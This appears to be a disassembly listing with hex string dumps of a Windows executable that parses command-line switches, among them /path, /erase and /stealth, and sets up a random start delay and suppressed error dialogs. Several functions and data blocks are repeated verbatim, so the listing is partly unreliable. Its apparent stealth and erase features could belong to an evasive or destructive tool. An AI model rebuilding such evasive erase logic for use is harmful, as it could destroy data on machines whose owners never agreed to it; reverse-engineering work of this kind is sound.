00451203ret
00451040
00451040fn_451040:
00451040push rbp
00451041push rdi
00451042push rsi
00451043push rbx
00451044sub rsp, 88
00451048mov rbp, rsp
0045104bmov [rbp+48], 0
00451053mov [rbp+56], 0
0045105bmov [rbp+64], 0
00451063mov [rbp+72], 0
0045106bnop
0045106cmov al, 1
0045106emov [rbp+47], al
00451071mov rax, [rip+0x12f48]
00451078mov [rax+308], 0
0045107fmov rax, [rip+0x12f3a]
00451086mov [rax+309], 0
0045108dxor ebx, ebx
0045108fxor esi, esi
00451092xor edi, edi
00451095mov [rip+0x1f70d], 1
0045109fjmp 0x45113f
004510a4
004510a4loc_4510a4:
004510a4lea rcx, [rbp+72]
004510a8mov edx, [rip+0x1f6fe]
004510aecall fn_405df0
004510b3mov rcx, [rbp+72]
004510b7lea rdx, [rip+378]
004510becall fn_40dc90
004510c3test eax, eax
004510c5jne 0x4510c9
004510c7mov bl, 1
004510c9
004510c9loc_4510c9:
004510c9lea rcx, [rbp+64]
004510cdmov edx, [rip+0x1f6d9]
004510d3call fn_405df0
004510d8mov rcx, [rbp+64]
004510dclea rdx, [rip+369]
004510e3call fn_40dc90
004510e8test eax, eax
004510eaje 0x45110f
004510eclea rcx, [rbp+56]
004510f0mov edx, [rip+0x1f6b6]
004510f6call fn_405df0
004510fbmov rcx, [rbp+56]
004510fflea rdx, [rip+354]
00451106call fn_40dc90
0045110btest eax, eax
0045110djne 0x451112
0045110f
0045110floc_45110f:
0045110fmov sil, 1
00451112
00451112loc_451112:
00451112lea rcx, [rbp+48]
00451116mov edx, [rip+0x1f690]
0045111ccall fn_405df0
00451121mov rcx, [rbp+48]
00451125lea rdx, [rip+340]
0045112ccall fn_40dc90
00451131test eax, eax
00451133jne 0x451138
00451135mov dil, 1
00451138
00451138loc_451138:
00451138add [rip+0x1f66d], 1
0045113f
0045113floc_45113f:
0045113fcall fn_405d70
00451144cmp [rip+0x1f662], eax
0045114ajle 0x4510a4
00451150test bl, bl
00451152je 0x4511e8
00451158mov rax, [rip+0x12e61]
0045115fmov [rax+308], 1
00451166mov rax, [rip+0x12e53]
0045116dmov [rax+309], 1
00451174call AllocConsole
00451179test sil, sil
0045117cjne 0x4511b0
0045117exor eax, eax
00451180mov [rbp+47], al
00451183lea rcx, [rip+274]
0045118axor edx, edx
0045118ccall fn_439060
00451191lea rcx, [rip+420]
00451198xor edx, edx
0045119acall fn_439060
0045119fmov rcx, [rip+0x12f0a]
004511a6call fn_4078c0
004511abcall fn_405a40
004511b0
004511b0loc_4511b0:
004511b0test dil, dil
004511b3je 0x4511e7
004511b5xor eax, eax
004511b7mov [rbp+47], al
004511balea rcx, [rip+447]
004511c1xor edx, edx
004511c3call fn_439060
004511c8lea rcx, [rip+365]
004511cfxor edx, edx
004511d1call fn_439060
004511d6mov rcx, [rip+0x12ed3]
004511ddcall fn_4078c0
004511e2call fn_405a40
004511e7
004511e7loc_4511e7:
004511e7nop
004511e8
004511e8loc_4511e8:
004511e8lea rcx, [rbp+48]
004511ecmov edx, 4
004511f1call fn_40bdd0
004511f6movzx rax, [rbp+47]
004511fblea rsp, [rbp+88]
004511ffpop rbx
00451200pop rsi
00451201pop rdi
00451202pop rbp
00451203ret
00451040
00451204
00451204 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......
00451204 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......
00451210
00451210fn_451210:
00451210push rbp
00451211sub rsp, 32
00451215mov rbp, rsp
00451218lea rcx, [rdx+48]
0045121cmov edx, 4
00451221call fn_40bdd0
00451226lea rsp, [rbp+32]
0045122apop rbp
0045122bret
00451210
00451210fn_451210:
00451210push rbp
00451211sub rsp, 32
00451215mov rbp, rsp
00451218lea rcx, [rdx+48]
0045121cmov edx, 4
00451221call fn_40bdd0
00451226lea rsp, [rbp+32]
0045122apop rbp
0045122bret
00451210
0045122c
0045122c b0 04 02 00 ....
00451230 ff ff ff ff 06 00 00 00 2f 00 64 00 65 00 62 00 ......../.d.e.b.
00451240 75 00 67 00 00 00 00 00 b0 04 02 00 ff ff ff ff u.g.............
00451250 02 00 00 00 2f 00 70 00 00 00 00 00 b0 04 02 00 ..../.p.........
00451260 ff ff ff ff 05 00 00 00 2f 00 70 00 61 00 74 00 ......../.p.a.t.
00451270 68 00 00 00 b0 04 02 00 ff ff ff ff 06 00 00 00 h...............
00451280 2f 00 65 00 72 00 61 00 73 00 65 00 00 00 00 00 /.e.r.a.s.e.....
00451290 b0 04 02 00 ff ff ff ff 49 00 00 00 45 00 52 00 ........I...E.R.
004512a0 52 00 4f 00 52 00 3a 00 20 00 2f 00 64 00 65 00 R.O.R.:. ./.d.e.
004512b0 62 00 75 00 67 00 20 00 6f 00 70 00 74 00 69 00 b.u.g. .o.p.t.i.
004512c0 6f 00 6e 00 20 00 63 00 61 00 6e 00 27 00 74 00 o.n. .c.a.n.'.t.
004512d0 20 00 62 00 65 00 20 00 75 00 73 00 65 00 64 00 .b.e. .u.s.e.d.
004512e0 20 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 .w.i.t.h.o.u.t.
004512f0 20 00 2f 00 70 00 20 00 6f 00 70 00 74 00 69 00 ./.p. .o.p.t.i.
00451300 6f 00 6e 00 2e 00 20 00 50 00 72 00 6f 00 63 00 o.n... .P.r.o.c.
00451310 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
00451320 69 00 6e 00 61 00 74 00 65 00 64 00 2e 00 00 00 i.n.a.t.e.d.....
00451330 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
00451340 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
00451350 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
00451360 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e 00 t.i.n.u.e.......
00451370 00 00 00 00 b0 04 02 00 ff ff ff ff 4a 00 00 00 ............J...
00451380 45 00 52 00 52 00 4f 00 52 00 3a 00 20 00 2f 00 E.R.R.O.R.:. ./.
00451390 64 00 65 00 62 00 75 00 67 00 20 00 6f 00 70 00 d.e.b.u.g. .o.p.
004513a0 74 00 69 00 6f 00 6e 00 20 00 63 00 61 00 6e 00 t.i.o.n. .c.a.n.
004513b0 27 00 74 00 20 00 62 00 65 00 20 00 75 00 73 00 '.t. .b.e. .u.s.
004513c0 65 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 e.d. .w.i.t.h. .
004513d0 2f 00 65 00 72 00 61 00 73 00 65 00 20 00 6f 00 /.e.r.a.s.e. .o.
004513e0 70 00 74 00 69 00 6f 00 6e 00 2e 00 20 00 50 00 p.t.i.o.n... .P.
004513f0 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 74 00 r.o.c.e.s.s. .t.
00451400 65 00 72 00 6d 00 69 00 6e 00 61 00 74 00 65 00 e.r.m.i.n.a.t.e.
00451410 64 00 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc d...............
0045122c b0 04 02 00 ....
00451230 ff ff ff ff 06 00 00 00 2f 00 64 00 65 00 62 00 ......../.d.e.b.
00451240 75 00 67 00 00 00 00 00 b0 04 02 00 ff ff ff ff u.g.............
00451250 02 00 00 00 2f 00 70 00 00 00 00 00 b0 04 02 00 ..../.p.........
00451260 ff ff ff ff 05 00 00 00 2f 00 70 00 61 00 74 00 ......../.p.a.t.
00451270 68 00 00 00 b0 04 02 00 ff ff ff ff 06 00 00 00 h...............
00451280 2f 00 65 00 72 00 61 00 73 00 65 00 00 00 00 00 /.e.r.a.s.e.....
00451290 b0 04 02 00 ff ff ff ff 49 00 00 00 45 00 52 00 ........I...E.R.
004512a0 52 00 4f 00 52 00 3a 00 20 00 2f 00 64 00 65 00 R.O.R.:. ./.d.e.
004512b0 62 00 75 00 67 00 20 00 6f 00 70 00 74 00 69 00 b.u.g. .o.p.t.i.
004512c0 6f 00 6e 00 20 00 63 00 61 00 6e 00 27 00 74 00 o.n. .c.a.n.'.t.
004512d0 20 00 62 00 65 00 20 00 75 00 73 00 65 00 64 00 .b.e. .u.s.e.d.
004512e0 20 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 .w.i.t.h.o.u.t.
004512f0 20 00 2f 00 70 00 20 00 6f 00 70 00 74 00 69 00 ./.p. .o.p.t.i.
00451300 6f 00 6e 00 2e 00 20 00 50 00 72 00 6f 00 63 00 o.n... .P.r.o.c.
00451310 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
00451320 69 00 6e 00 61 00 74 00 65 00 64 00 2e 00 00 00 i.n.a.t.e.d.....
00451330 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
00451340 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
00451350 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
00451360 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e 00 t.i.n.u.e.......
00451370 00 00 00 00 b0 04 02 00 ff ff ff ff 4a 00 00 00 ............J...
00451380 45 00 52 00 52 00 4f 00 52 00 3a 00 20 00 2f 00 E.R.R.O.R.:. ./.
00451390 64 00 65 00 62 00 75 00 67 00 20 00 6f 00 70 00 d.e.b.u.g. .o.p.
004513a0 74 00 69 00 6f 00 6e 00 20 00 63 00 61 00 6e 00 t.i.o.n. .c.a.n.
004513b0 27 00 74 00 20 00 62 00 65 00 20 00 75 00 73 00 '.t. .b.e. .u.s.
004513c0 65 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 e.d. .w.i.t.h. .
004513d0 2f 00 65 00 72 00 61 00 73 00 65 00 20 00 6f 00 /.e.r.a.s.e. .o.
004513e0 70 00 74 00 69 00 6f 00 6e 00 2e 00 20 00 50 00 p.t.i.o.n... .P.
004513f0 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 74 00 r.o.c.e.s.s. .t.
00451400 65 00 72 00 6d 00 69 00 6e 00 61 00 74 00 65 00 e.r.m.i.n.a.t.e.
00451410 64 00 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc d...............
00451420
00451420fn_451420:
00451420sub rsp, 40
00451424mov rax, [rip+0x12b95]
0045142bcmp [rax+308], 0
00451432jne 0x451447
00451434mov rax, [rip+0x12b85]
0045143bmov [rax+308], 1
00451442call AllocConsole
00451447
00451447loc_451447:
00451447lea rcx, [rip+58]
0045144exor edx, edx
00451450call fn_439060
00451455lea rcx, [rip+208]
0045145cxor edx, edx
0045145ecall fn_439060
00451463mov rcx, [rip+0x12c46]
0045146acall fn_4078c0
0045146fcall fn_405a40
00451474add rsp, 40
00451478ret
00451420
00451420fn_451420:
00451420sub rsp, 40
00451424mov rax, [rip+0x12b95]
0045142bcmp [rax+308], 0
00451432jne 0x451447
00451434mov rax, [rip+0x12b85]
0045143bmov [rax+308], 1
00451442call AllocConsole
00451447
00451447loc_451447:
00451447lea rcx, [rip+58]
0045144exor edx, edx
00451450call fn_439060
00451455lea rcx, [rip+208]
0045145cxor edx, edx
0045145ecall fn_439060
00451463mov rcx, [rip+0x12c46]
0045146acall fn_4078c0
0045146fcall fn_405a40
00451474add rsp, 40
00451478ret
00451420
00451479
00451479 00 00 00 b0 04 02 00 .......
00451480 ff ff ff ff 4b 00 00 00 45 00 52 00 52 00 4f 00 ....K...E.R.R.O.
00451490 52 00 3a 00 20 00 2f 00 73 00 74 00 65 00 61 00 R.:. ./.s.t.e.a.
004514a0 6c 00 74 00 68 00 20 00 6f 00 70 00 74 00 69 00 l.t.h. .o.p.t.i.
004514b0 6f 00 6e 00 20 00 63 00 61 00 6e 00 27 00 74 00 o.n. .c.a.n.'.t.
004514c0 20 00 62 00 65 00 20 00 75 00 73 00 65 00 64 00 .b.e. .u.s.e.d.
004514d0 20 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 .w.i.t.h.o.u.t.
004514e0 20 00 2f 00 70 00 20 00 6f 00 70 00 74 00 69 00 ./.p. .o.p.t.i.
004514f0 6f 00 6e 00 2e 00 20 00 50 00 72 00 6f 00 63 00 o.n... .P.r.o.c.
00451500 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
00451510 69 00 6e 00 61 00 74 00 65 00 64 00 2e 00 00 00 i.n.a.t.e.d.....
00451520 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
00451530 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
00451540 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
00451550 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e 00 t.i.n.u.e.......
00451560 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
00451479 00 00 00 b0 04 02 00 .......
00451480 ff ff ff ff 4b 00 00 00 45 00 52 00 52 00 4f 00 ....K...E.R.R.O.
00451490 52 00 3a 00 20 00 2f 00 73 00 74 00 65 00 61 00 R.:. ./.s.t.e.a.
004514a0 6c 00 74 00 68 00 20 00 6f 00 70 00 74 00 69 00 l.t.h. .o.p.t.i.
004514b0 6f 00 6e 00 20 00 63 00 61 00 6e 00 27 00 74 00 o.n. .c.a.n.'.t.
004514c0 20 00 62 00 65 00 20 00 75 00 73 00 65 00 64 00 .b.e. .u.s.e.d.
004514d0 20 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 .w.i.t.h.o.u.t.
004514e0 20 00 2f 00 70 00 20 00 6f 00 70 00 74 00 69 00 ./.p. .o.p.t.i.
004514f0 6f 00 6e 00 2e 00 20 00 50 00 72 00 6f 00 63 00 o.n... .P.r.o.c.
00451500 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
00451510 69 00 6e 00 61 00 74 00 65 00 64 00 2e 00 00 00 i.n.a.t.e.d.....
00451520 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
00451530 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
00451540 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
00451550 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e 00 t.i.n.u.e.......
00451560 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
00451571
00451571 // align 0x10
00451571 // align 0x10
00451580
00451580Project1:
00451580push rbp
00451581sub rsp, 592
00451588mov rbp, rsp
0045158bmov [rbp+80], 0
00451593mov [rbp+72], 0
0045159bmov [rbp+96], 0
004515a3mov [rbp+88], 0
004515abmov [rbp+112], 0
004515b3mov [rbp+104], 0
004515bbmov [rbp+128], 0
004515c6mov [rbp+120], 0
004515cemov [rbp+144], 0
004515d9mov [rbp+136], 0
004515e4mov [rbp+152], 0
004515efmov [rbp+168], 0
004515famov [rbp+160], 0
00451605mov [rbp+176], 0
00451610mov [rbp+184], 0
0045161bmov [rbp+192], 0
00451626mov [rbp+200], 0
00451631mov [rbp+208], 0
0045163cmov [rbp+224], 0
00451647mov [rbp+216], 0
00451652mov [rbp+232], 0
0045165dmov [rbp+248], 0
00451668mov [rbp+240], 0
00451673mov [rbp+256], 0
0045167emov [rbp+264], 0
00451689mov [rbp+272], 0
00451694mov [rbp+280], 0
0045169fmov [rbp+288], 0
004516aamov [rbp+296], 0
004516b5mov [rbp+304], 0
004516c0mov [rbp+312], 0
004516cbmov [rbp+320], 0
004516d6mov [rbp+328], 0
004516e1mov [rbp+336], 0
004516ecmov [rbp+352], 0
004516f7mov [rbp+344], 0
00451702mov [rbp+360], 0
0045170dmov [rbp+368], 0
00451718mov [rbp+376], 0
00451723mov [rbp+384], 0
0045172emov [rbp+392], 0
00451739mov [rbp+408], 0
00451744mov [rbp+400], 0
0045174fmov [rbp+424], 0
0045175amov [rbp+416], 0
00451765mov [rbp+432], 0
00451770mov [rbp+440], 0
0045177bmov [rbp+448], 0
00451786mov [rbp+456], 0
00451791mov [rbp+464], 0
0045179cmov [rbp+472], 0
004517a7mov [rbp+480], 0
004517b2mov [rbp+488], 0
004517bdmov [rbp+496], 0
004517c8mov [rbp+504], 0
004517d3mov [rbp+512], 0
004517demov [rbp+520], 0
004517e9mov [rbp+528], 0
004517f4mov [rbp+536], 0
004517ffmov [rbp+544], 0
0045180amov [rbp+552], 0
00451815mov [rbp+584], 0
00451820mov [rbp+576], 0
0045182bmov [rbp+568], 0
00451836mov [rbp+560], 0
00451841nop
00451842lea rcx, [rip+9455]
00451849call fn_415220
0045184enop
0045184fcall fn_4343c0
00451854call fn_450f50
00451859call fn_451040
0045185etest al, al
00451860je 0x4530dc
00451866mov rax, [rip+0x12753]
0045186dcmp [rax+308], 0
00451874je 0x451893
00451876mov rax, [rip+0x1275b]
0045187dcmp [rax+768], 0
00451884je 0x451893
00451886call fn_438c40
0045188btest al, al
0045188dje 0x4530dc
00451893
00451893loc_451893:
00451893mov rax, [rip+0x12726]
0045189acmp [rax+308], 0
004518a1je 0x4518c6
004518a3lea rcx, [rip+6706]
004518aamov dl, 1
004518accall fn_439060
004518b1xor ecx, ecx
004518b3call fn_4392a0
004518b8lea rcx, [rip+6737]
004518bfmov dl, 1
004518c1call fn_439060
004518c6
004518c6loc_4518c6:
004518c6call GetCurrentProcessId
004518cbmov ecx, eax
004518cdmov edx, 128
004518d2call SetPriorityClass
004518d7call fn_450ed0
004518dcmov ecx, 10
004518e1call fn_405e80
004518e6mov ecx, eax
004518e8imul ecx, ecx, 1000
004518eeadd ecx, 1000
004518f4call Sleep
004518f9call fn_425d00
004518femov rax, [rip+0x126bb]
00451905movsd_xmm [rax+744], x0
0045190dmov ecx, 1
00451912call SetErrorMode
00451917mov rax, [rip+0x126a2]
0045191ecmp [rax+308], 0
00451925je 0x45193c
00451927lea rcx, [rip+6658]
0045192emov dl, 1
00451930call fn_439060
00451935xor ecx, ecx
00451937call fn_4392a0
0045193c
0045193cloc_45193c:
0045193ccall fn_4343e0
00451941mov rax, [rip+0x12678]
00451948cmp [rax+308], 0
0045194fje 0x4519ff
00451955lea rcx, [rbp+576]
0045195cmov rax, [rip+0x1265d]
00451963movzx rdx, [rax+8]
00451968call fn_4225b0
0045196dlea rcx, [rbp+568]
00451974mov rax, [rip+0x12645]
0045197bmovzx rdx, [rax+9]
00451980call fn_4225b0
00451985lea rcx, [rbp+560]
0045198cmov rax, [rip+0x1262d]
00451993mov edx, [rax+12]
00451996call fn_4225f0
0045199blea rcx, [rbp+584]
004519a2mov edx, 6
004519a7lea r8, [rip+6574]
004519aemov r9, [rbp+576]
004519b5lea rax, [rip+6592]
004519bcmov [rsp+32], rax
004519c1mov rax, [rbp+568]
004519c8mov [rsp+40], rax
004519cdlea rax, [rip+6568]
004519d4mov [rsp+48], rax
004519d9mov rax, [rbp+560]
004519e0mov [rsp+56], rax
004519e5call fn_40dbb0
004519eamov rcx, [rbp+584]
004519f1mov dl, 1
004519f3call fn_439060
004519f8xor ecx, ecx
004519facall fn_4392a0
004519ff
004519ffloc_4519ff:
004519ffmov rax, [rip+0x125ba]
00451a06cmp [rax+308], 0
00451a0dje 0x451a24
00451a0flea rcx, [rip+6518]
00451a16mov dl, 1
00451a18call fn_439060
00451a1dxor ecx, ecx
00451a1fcall fn_4392a0
00451a24
00451a24loc_451a24:
00451a24call fn_437fd0
00451a29test al, al
00451a2bjne 0x451a5b
00451a2dmov rax, [rip+0x1258c]
00451a34cmp [rax+308], 0
00451a3bje 0x4530dc
00451a41lea rcx, [rip+6508]
00451a48mov dl, 1
00451a4acall fn_439060
00451a4fxor ecx, ecx
00451a51call fn_4392a0
00451a56jmp 0x4530dc
00451a5b
00451a5bloc_451a5b:
00451a5bmov rax, [rip+0x1255e]
00451a62cmp [rax+308], 0
00451a69je 0x451a79
00451a6blea rcx, [rip+6570]
00451a72mov dl, 1
00451a74call fn_439060
00451a79
00451a79loc_451a79:
00451a79call fn_405d70
00451a7ecmp eax, 1
00451a81jne 0x451ac8
00451a83lea rcx, [rbp+552]
00451a8amov edx, 1
00451a8fcall fn_405df0
00451a94mov rcx, [rbp+552]
00451a9bcall fn_4503e0
00451aa0test al, al
00451aa2jne 0x451ac8
00451aa4lea rcx, [rbp+544]
00451aabmov edx, 1
00451ab0call fn_405df0
00451ab5mov rcx, [rip+0x123ec]
00451abcmov rdx, [rbp+544]
00451ac3call fn_40d850
00451ac8
00451ac8loc_451ac8:
00451ac8mov [rip+0x1ecda], 1
00451ad2jmp 0x4524d7
00451ad7
00451ad7loc_451ad7:
00451ad7lea rcx, [rbp+536]
00451ademov edx, [rip+0x1ecc8]
00451ae4call fn_405df0
00451ae9mov rcx, [rbp+536]
00451af0lea rdx, [rip+6477]
00451af7call fn_40dc90
00451afctest eax, eax
00451afejne 0x451b28
00451b00mov rax, [rip+0x124b9]
00451b07mov [rax+321], 1
00451b0emov rax, [rip+0x124ab]
00451b15mov [rax+313], 0
00451b1cadd [rip+0x1ec89], 1
00451b23jmp 0x4524d7
00451b28
00451b28loc_451b28:
00451b28lea rcx, [rbp+528]
00451b2fmov edx, [rip+0x1ec77]
00451b35call fn_405df0
00451b3amov rcx, [rbp+528]
00451b41lea rdx, [rip+6428]
00451b48call fn_40dc90
00451b4dtest eax, eax
00451b4fjne 0x451bc2
00451b51add [rip+0x1ec54], 1
00451b58jmp 0x451baf
00451b5a
00451b5aloc_451b5a:
00451b5alea rcx, [rbp+520]
00451b61mov edx, [rip+0x1ec45]
00451b67call fn_405df0
00451b6cmov rcx, [rbp+520]
00451b73call fn_4503e0
00451b78test al, al
00451b7ajne 0x451bbc
00451b7clea rcx, [rbp+512]
00451b83mov edx, [rip+0x1ec23]
00451b89call fn_405df0
00451b8emov rax, [rip+0x1242b]
00451b95mov rcx, [rax+776]
00451b9cmov rdx, [rbp+512]
00451ba3call TSimpleStringList.Add
00451ba8add [rip+0x1ebfd], 1
00451baf
00451bafloc_451baf:
00451bafcall fn_405d70
00451bb4cmp [rip+0x1ebf2], eax
00451bbajle 0x451b5a
00451bbc
00451bbcloc_451bbc:
00451bbcnop
00451bbdjmp 0x4524d7
00451bc2
00451bc2loc_451bc2:
00451bc2lea rcx, [rbp+504]
00451bc9mov edx, [rip+0x1ebdd]
00451bcfcall fn_405df0
00451bd4mov rcx, [rbp+504]
00451bdblea rdx, [rip+6298]
00451be2call fn_40dc90
00451be7test eax, eax
00451be9jne 0x451c5c
00451bebadd [rip+0x1ebba], 1
00451bf2jmp 0x451c49
00451bf4
00451bf4loc_451bf4:
00451bf4lea rcx, [rbp+496]
00451bfbmov edx, [rip+0x1ebab]
00451c01call fn_405df0
00451c06mov rcx, [rbp+496]
00451c0dcall fn_4503e0
00451c12test al, al
00451c14jne 0x451c56
00451c16lea rcx, [rbp+488]
00451c1dmov edx, [rip+0x1eb89]
00451c23call fn_405df0
00451c28mov rax, [rip+0x12391]
00451c2fmov rcx, [rax+768]
00451c36mov rdx, [rbp+488]
00451c3dcall TSimpleStringList.Add
00451c42add [rip+0x1eb63], 1
00451c49
00451c49loc_451c49:
00451c49call fn_405d70
00451c4ecmp [rip+0x1eb58], eax
00451c54jle 0x451bf4
00451c56
00451c56loc_451c56:
00451c56nop
00451c57jmp 0x4524d7
00451c5c
00451c5cloc_451c5c:
00451c5clea rcx, [rbp+480]
00451c63mov edx, [rip+0x1eb43]
00451c69call fn_405df0
00451c6emov rcx, [rbp+480]
00451c75lea rdx, [rip+6176]
00451c7ccall fn_40dc90
00451c81test eax, eax
00451c83jne 0x451cf3
00451c85add [rip+0x1eb20], 1
00451c8cjmp 0x451ce0
00451c8e
00451c8eloc_451c8e:
00451c8elea rcx, [rbp+472]
00451c95mov edx, [rip+0x1eb11]
00451c9bcall fn_405df0
00451ca0mov rcx, [rbp+472]
00451ca7call fn_4503e0
00451cactest al, al
00451caejne 0x451ced
00451cb0lea rcx, [rbp+464]
00451cb7mov edx, [rip+0x1eaef]
00451cbdcall fn_405df0
00451cc2mov rax, [rip+0x122f7]
00451cc9mov rcx, [rax+64]
00451ccdmov rdx, [rbp+464]
00451cd4call TSimpleStringList.Add
00451cd9add [rip+0x1eacc], 1
00451ce0
00451ce0loc_451ce0:
00451ce0call fn_405d70
00451ce5cmp [rip+0x1eac1], eax
00451cebjle 0x451c8e
00451ced
00451cedloc_451ced:
00451cednop
00451ceejmp 0x4524d7
00451cf3
00451cf3loc_451cf3:
00451cf3lea rcx, [rbp+456]
00451cfamov edx, [rip+0x1eaac]
00451d00call fn_405df0
00451d05mov rcx, [rbp+456]
00451d0clea rdx, [rip+6045]
00451d13call fn_40dc90
00451d18test eax, eax
00451d1ajne 0x451d38
00451d1cmov rax, [rip+0x1229d]
00451d23mov rcx, [rax+64]
00451d27call TSimpleStringList.Clear
00451d2cadd [rip+0x1ea79], 1
00451d33jmp 0x4524d7
00451d38
00451d38loc_451d38:
00451d38lea rcx, [rbp+448]
00451d3fmov edx, [rip+0x1ea67]
00451d45call fn_405df0
00451d4amov rcx, [rbp+448]
00451d51lea rdx, [rip+6020]
00451d58call fn_40dc90
00451d5dtest eax, eax
00451d5fjne 0x451d7b
00451d61mov rax, [rip+0x12258]
00451d68mov [rax+302], 1
00451d6fadd [rip+0x1ea36], 1
00451d76jmp 0x4524d7
00451d7b
00451d7bloc_451d7b:
00451d7blea rcx, [rbp+440]
00451d82mov edx, [rip+0x1ea24]
00451d88call fn_405df0
00451d8dmov rcx, [rbp+440]
00451d94lea rdx, [rip+5981]
00451d9bcall fn_40dc90
00451da0test eax, eax
00451da2jne 0x451dbe
00451da4mov rax, [rip+0x12215]
00451dabmov [rax+313], 0
00451db2add [rip+0x1e9f3], 1
00451db9jmp 0x4524d7
00451dbe
00451dbeloc_451dbe:
00451dbelea rcx, [rbp+432]
00451dc5mov edx, [rip+0x1e9e1]
00451dcbcall fn_405df0
00451dd0mov rcx, [rbp+432]
00451dd7lea rdx, [rip+5950]
00451ddecall fn_40dc90
00451de3test eax, eax
00451de5jne 0x451ebe
00451debmov rax, [rip+0x121ce]
00451df2mov [rax+305], 0
00451df9mov rax, [rip+0x121c0]
00451e00mov [rax+306], 0
00451e07lea rcx, [rbp+424]
00451e0emov edx, [rip+0x1e998]
00451e14add edx, 1
00451e17call fn_405df0
00451e1clea rcx, [rbp+416]
00451e23mov rdx, [rbp+424]
00451e2axor r8, r8
00451e2dcall fn_40cff0
00451e32mov rcx, [rbp+416]
00451e39call fn_4307b0
00451e3etest al, al
00451e40je 0x451e94
00451e42lea rcx, [rbp+408]
00451e49mov edx, [rip+0x1e95d]
00451e4fadd edx, 1
00451e52call fn_405df0
00451e57lea rcx, [rbp+400]
00451e5emov rdx, [rbp+408]
00451e65call fn_40d850
00451e6amov rcx, [rbp+400]
00451e71mov edx, 10
00451e76mov r8l, 1
00451e7cmov r9l, 100
00451e82call fn_450df0
00451e87mov rcx, [rip+0x12132]
00451e8emov [rcx+314], al
00451e94
00451e94loc_451e94:
00451e94mov rax, [rip+0x12125]
00451e9bcmp [rax+314], 100
00451ea2jne 0x451eb2
00451ea4mov rax, [rip+0x12115]
00451eabmov [rax+305], 1
00451eb2
00451eb2loc_451eb2:
00451eb2add [rip+0x1e8f3], 2
00451eb9jmp 0x4524d7
00451ebe
00451ebeloc_451ebe:
00451ebelea rcx, [rbp+392]
00451ec5mov edx, [rip+0x1e8e1]
00451ecbcall fn_405df0
00451ed0mov rcx, [rbp+392]
00451ed7lea rdx, [rip+5722]
00451edecall fn_40dc90
00451ee3test eax, eax
00451ee5jne 0x451f7d
00451eebmov rax, [rip+0x120ce]
00451ef2mov [rax+311], 1
00451ef9mov rax, [rip+0x120c0]
00451f00mov rcx, [rax+760]
00451f07call TSimpleStringList.Clear
00451f0cadd [rip+0x1e899], 1
00451f13jmp 0x451f6a
00451f15
00451f15loc_451f15:
00451f15lea rcx, [rbp+384]
00451f1cmov edx, [rip+0x1e88a]
00451f22call fn_405df0
00451f27mov rcx, [rbp+384]
00451f2ecall fn_4503e0
00451f33test al, al
00451f35jne 0x451f77
00451f37lea rcx, [rbp+376]
00451f3emov edx, [rip+0x1e868]
00451f44call fn_405df0
00451f49mov rax, [rip+0x12070]
00451f50mov rcx, [rax+760]
00451f57mov rdx, [rbp+376]
00451f5ecall TSimpleStringList.Add
00451f63add [rip+0x1e842], 1
00451f6a
00451f6aloc_451f6a:
00451f6acall fn_405d70
00451f6fcmp [rip+0x1e837], eax
00451f75jle 0x451f15
00451f77
00451f77loc_451f77:
00451f77nop
00451f78jmp 0x4524d7
00451f7d
00451f7dloc_451f7d:
00451f7dlea rcx, [rbp+368]
00451f84mov edx, [rip+0x1e822]
00451f8acall fn_405df0
00451f8fmov rcx, [rbp+368]
00451f96lea rdx, [rip+5555]
00451f9dcall fn_40dc90
00451fa2test eax, eax
00451fa4jne 0x451fc0
00451fa6mov rax, [rip+0x12013]
00451fadmov [rax+312], 0
00451fb4add [rip+0x1e7f1], 1
00451fbbjmp 0x4524d7
00451fc0
00451fc0loc_451fc0:
00451fc0lea rcx, [rbp+360]
00451fc7mov edx, [rip+0x1e7df]
00451fcdcall fn_405df0
00451fd2mov rcx, [rbp+360]
00451fd9lea rdx, [rip+5532]
00451fe0call fn_40dc90
00451fe5test eax, eax
00451fe7jne 0x45205e
00451fe9lea rcx, [rbp+352]
00451ff0mov edx, [rip+0x1e7b6]
00451ff6add edx, 1
00451ff9call fn_405df0
00451ffelea rcx, [rbp+344]
00452005mov rdx, [rbp+352]
0045200cxor r8, r8
0045200fcall fn_40cff0
00452014mov rcx, [rbp+344]
